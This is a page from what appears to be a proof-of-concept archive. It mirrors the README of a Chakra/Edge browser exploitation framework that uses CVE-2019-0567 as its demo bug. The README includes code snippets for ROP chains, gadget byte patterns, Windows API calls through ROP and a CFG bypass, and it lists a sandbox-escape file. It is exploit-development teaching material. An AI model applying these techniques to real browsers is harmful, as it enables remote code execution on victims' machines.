Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-0567 PoC — Microsoft Edge和ChakraCore 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Microsoft Edge和ChakraCore 缓冲区错误漏洞 (CVE-2019-0567)
Description:A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka "Chakra Scripting Engine Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2019-0539, CVE-2019-0568.
Description
Browser exploitation framework for Chakra (Edge). Written as part of OSEE preparation. Demo bug: CVE-2019-0567
Readme
��# Chakra Exploitation Framework



This repository contains the Browser Exploitation Framework I wrote to prepare for my [EXP-401 course](https://www.offsec.com/courses/exp-401/). The framework targets the Chakra engine, which was part of Edge until its switch to v8 in 2019.

 

The demo vulnerability used in the framework is the [CVE-2019-0567](https://project-zero.issues.chromium.org/issues/42450772) Type Confusion.



![Remote Code Execution](rce.gif)



## Features



To make this framework easy to use, I wrote some nice features which make implementing future sandbox escapes incredibly easy. 



### Abstracted Windows API calls



The framework allows Windows APIs to be called at a high level. It uses a [GetProcAddress](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/winapi.js#L75) ROP Chain to resolve any API, and allows for up to four parameters. 



```javascript

function getcomputername_example(winapi, memory_access, memory_manager) {

    // Allocate some space for our GetComputerNameA parameters

    let buffer_size = 0x100;

    let lpBuffer = memory_manager.malloc(buffer_size);

    let nSize = memory_manager.malloc(0x8);

    memory_access.write_dword(nSize, buffer_size);



    let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);



    memory_access.hexdump(lpBuffer, buffer_size);



    log("GetComputerNameA HRESULT: %p", hresult);

}

```



### leafInterpreterFrame CFG Bypass



The CFG bypass I used was the [leafInterpreterFrame](https://project-zero.issues.chromium.org/issues/42450395) technique. By walking a few objects, you are able to leak a stack address. From here, you can hunt a function pointer, overwrite it, and gain execution. Porting it to my version of Chakra was a little fiddly so I wrote a blog about it [here](https://blog.ntdelta.dev/2024-12-27-porting-a-chakra-cfg-bypass/).



A friend showed me a really nice technique to make returning to JavaScript land really easy. They wrap their CFG bypass in a `[1].map()` call, meaning they can continue execution in their parent function - it makes the code look much cleaner. You can see an example of that [here](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/winapi.js#L154)





## Custom memory allocator



Many Windows APIs require parameters and buffers to be aligned. Previously, I was calling Windows APIs by staging paramameters in the `.data` section - it was very painful. In the end, I wrote my own [memory allocator](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/memory_manager.js#L1) that calls VirtualAlloc, in ROP, and then allows other objects to `malloc` memory from the buffer. The memory allocator will [always return aligned buffers](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/memory_manager.js#L91) too!



## ROP Class



The way rop chains are written is as follows:



```javascript

let rop_buffer = this.memory_manager.malloc(0x400);

let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);



rop.pop_rcx(0x4141414141414141);



rop.getChain().map((gadget) => {

    this.memory_access.write_pointer(rop_buffer, gadget);

    rop_buffer += 8;

});

```



The underlying ROP gadgets are [implemented as little functions](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/rop.js#L28):



```javascript

pop_rcx(value) {

    this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));

    this.add_gadget(value);

}

```



This way, we can do more complex chains of gadgets to perform a higher-level action such as `pop r9`. There was no nice gadget, so it's implemented as a combination of a few:



```javascript

pop_r9(value) {

    this.pop_rax(value);

    this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));



    // Add filler for rsp

    this.nop();

    this.nop();

    this.nop();

    this.nop();



    // Add filler for rbx

    this.nop();

}

```



### ROP Pattern Scanner



To try to increase portability of the framework, there is also a ROP Pattern Scanner. It uses the `read` primitive to scan for a [sequence of bytes](https://github.com/ntdelta/chakra-exploit-framework/blob/main/src/pattern_scan.js#L72) that form the required chain.



There is also a global cache which dramatically improves the performance of the scanner.



```javascript

get_pattern(instruction) {

    let byte_patterns = {

        "mov_r9_rax": [0x4c, 0x8b, 0xc8],

        "add_rsp_20": [0x48, 0x83, 0xc4, 0x20],

        "pop_rax": [0x58],

        "pop_rbx": [0x5b],

        "pop_rsp": [0x5c],

        "pop_r8": [0x41, 0x58],

        "pop_rdx": [0x5a],

        "pop_rcx": [0x59],

        "mov_rax_deref_rcx": [0x48, 0x8b, 0x01],

        "add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],

        "add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],

        "mov_deref_rcx_rax": [0x48, 0x89, 0x01],

        "mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],

        "mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],

        "ret": [0xc3],

    };



    return byte_patterns[instruction];

}

```
File Snapshot

[4.0K] /data/pocs/3e279cd1f05f57edd9f04f1114a20e03380bb306 ├── [575K] rce.gif ├── [ 10K] README.md └── [4.0K] src ├── [ 10K] aslr.js ├── [1.9K] framework.js ├── [1.6K] index.html ├── [4.0K] memory_manager.js ├── [5.2K] pattern_scan.js ├── [5.6K] primitive.js ├── [2.7K] rop.js ├── [8.1K] sandbox_escape.js ├── [1.1K] utils.js └── [7.4K] winapi.js 1 directory, 12 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →